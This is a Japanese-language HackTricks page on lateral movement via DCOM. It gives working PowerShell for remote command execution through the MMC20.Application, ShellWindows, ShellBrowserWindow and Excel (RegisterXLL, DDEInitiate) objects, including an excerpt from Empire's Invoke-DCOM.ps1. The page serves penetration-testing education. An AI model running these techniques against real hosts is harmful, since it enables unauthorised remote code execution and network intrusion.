hacktricks/windows-hardening/lateral-movement/dcom-exec.md

16 KiB
Raw Blame History

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MMC20.Application

DCOM(分散コンポーネントオブジェクトモデル)オブジェクトは、オブジェクトをネットワーク上で相互作用させることができるため、興味深いです。Microsoftは、DCOMに関するこちらとCOMに関するこちらで良いドキュメントを提供しています。PowerShellを使用して、Get-CimInstance Win32_DCOMApplicationを実行することで、DCOMアプリケーションの一覧を取得できます。

MMC Application ClassMMC20.Application COMオブジェクトは、MMCスナップイン操作のコンポーネントをスクリプト化することができます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙しているときに、Document.ActiveViewの下にExecuteShellCommandというメソッドがあることに気付きました。

このメソッドについてはこちらで詳しく読むことができます。これまでに、ネットワーク経由でアクセスでき、コマンドを実行できるDCOMアプリケーションがあります。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを利用して、リモートホストでコードを実行することです。

幸いなことに、管理者としては、PowerShellを使用してDCOMとリモートで対話することができます。[activator]::CreateInstance([type]::GetTypeFromProgIDを使用するだけで、DCOM ProgIDとIPアドレスを指定する必要があります。それにより、リモートでそのCOMオブジェクトのインスタンスが提供されます。

その後、ExecuteShellCommandメソッドを呼び出して、リモートホストでプロセスを開始することができます。

ShellWindows & ShellBrowserWindow

MMC20.Applicationオブジェクトには明示的な「LaunchPermissions」がなく、デフォルトの許可セットでは管理者がアクセスできるようになっています。

@tiraniddoOleView .NETを使用すると、明示的なLaunchPermissionが設定されていない他のオブジェクトを表示できます。この場合、明示的なLaunch Permissionがないすべてのオブジェクトに絞り込むことができます。そうすると、ShellBrowserWindowShellWindowsという2つのオブジェクトが目立ちました。

潜在的なターゲットオブジェクトを特定する別の方法は、HKCR:\AppID\{guid}のキーから値LaunchPermissionが欠落しているかどうかを確認することです。Launch Permissionsが設定されているオブジェクトは、データがバイナリ形式でオブジェクトのACLを表している以下のようになります。

明示的なLaunchPermissionが設定されていないオブジェクトは、特定のレジストリエントリが欠落している状態になります。

ShellWindows

最初に調査したオブジェクトはShellWindowsです。このオブジェクトにはProgIDが関連付けられていないため、Type.GetTypeFromCLSID .NETメソッドとActivator.CreateInstanceメソッドを使用して、リモートホスト上のAppIDを介してオブジェクトをインスタンス化することができます。これを行うためには、ShellWindows CLSIDを取得したので、リモートターゲット上でオブジェクトをインスタンス化することができます。

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)

リモートホスト上でオブジェクトがインスタンス化されると、それに対してインターフェースを作成し、任意のメソッドを呼び出すことができます。オブジェクトへの返されたハンドルには、いくつかのメソッドとプロパティが表示されますが、それらとは対話することはできません。実際にリモートホストと対話するためには、WindowsShell.Item メソッドにアクセスする必要があります。このメソッドは、Windowsシェルウィンドウを表すオブジェクトを返します。

$item = $obj.Item()

シェルウィンドウの完全なハンドルを持っていると、公開されているすべての予想されるメソッド/プロパティにアクセスできます。これらのメソッドを調べた結果、Document.Application.ShellExecute が目立ちました。メソッドのパラメータ要件に従ってください。パラメータ要件はこちらでドキュメント化されています。

$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

上記のように、私たちのコマンドはリモートホストで正常に実行されました。

ShellBrowserWindow

この特定のオブジェクトはWindows 7に存在せず、Win7-Win10で成功裏にテストされた「ShellWindows」オブジェクトよりも、横方向の移動には制限があります。

このオブジェクトの列挙に基づいて、前のオブジェクトと同様にエクスプローラーウィンドウへのインターフェースを提供するようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます。

shellbrowser_classid

再び、空白の起動許可フィールドに注意してください。

screen-shot-2017-01-23-at-4-13-52-pm

CLSIDを使用して、前のオブジェクトで行った手順を繰り返し、オブジェクトをインスタンス化し、同じメソッドを呼び出すことができます。

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

上記のように、コマンドはリモートターゲットで正常に実行されました。

このオブジェクトはWindowsシェルと直接連携しているため、前のオブジェクトと同様に「ShellWindows.Item」メソッドを呼び出す必要はありません。

これらの2つのDCOMオブジェクトは、リモートホストでシェルコマンドを実行するために使用できますが、他にもリモートターゲットの列挙や改ざんに使用できる興味深いメソッドがたくさんあります。これらのメソッドには次のものがあります

  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDERegisterXLL

同様の方法で、DCOM Excelオブジェクトを悪用して横方向に移動することも可能です。詳細については、https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcomを参照してください。

# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

ツール

PowershellスクリプトInvoke-DCOM.ps1は、他のマシンでコードを実行するためのさまざまな方法を簡単に呼び出すことができます。

参考文献

重要な脆弱性を見つけて、より迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥